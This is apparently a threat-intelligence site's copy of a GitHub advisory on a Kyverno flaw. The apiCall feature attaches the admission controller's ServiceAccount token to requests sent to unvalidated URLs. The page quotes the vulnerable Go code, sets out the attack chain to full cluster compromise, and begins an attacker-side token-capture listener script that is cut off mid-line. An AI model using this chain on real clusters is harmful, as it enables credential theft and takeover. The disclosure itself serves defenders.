highCVSS 8.1Vulnerability

GHSA-f9g8-6ppc-pqq4

## Summary Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. ## Affected version Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support. ## Details There are two issues that combine into one attack chain. The first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`: ```go req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data) ``` No scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax. The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it: ```go if req.Header.Get("Authorization") == "" { token := a.getToken() req.Header.Add("Authorization", "Bearer "+token) } ``` The token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`. ## Reproduction **Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install **Step 1**: Start an HTTP listener on an attacker machine: ```python # capture_server.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, datetime class Handler(BaseHTTPRequestHandler): def do_GET(self): print(json.dumps({ "timestamp": str(datetime.datetime.n

Properties

ghsa_id
GHSA-f9g8-6ppc-pqq4
severity
high
summary
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
cvss_score
8.1
cve_id
GHSA-f9g8-6ppc-pqq4
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
is_ghsa_only
true
ghsa_published
2026-04-16T21:36:20Z
source_url
https://github.com/advisories/GHSA-f9g8-6ppc-pqq4
ghsa_updated
2026-04-16T21:36:21Z

Related Entities (5)

VULNERABLE_TO (1)

[Software]go/github.com/kyverno/kyverno

AFFECTS (1)

[Software]go/github.com/kyverno/kyverno

HAS_WEAKNESS (2)

[Weakness]Server-Side Request Forgery (SSRF)
[Weakness]Exposure of Sensitive Information to an Unauthorized Actor

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-f9g8-6ppc-pqq4 (CVSS 8.1) — Ninja Signal Threat Intelligence | Ninja Signal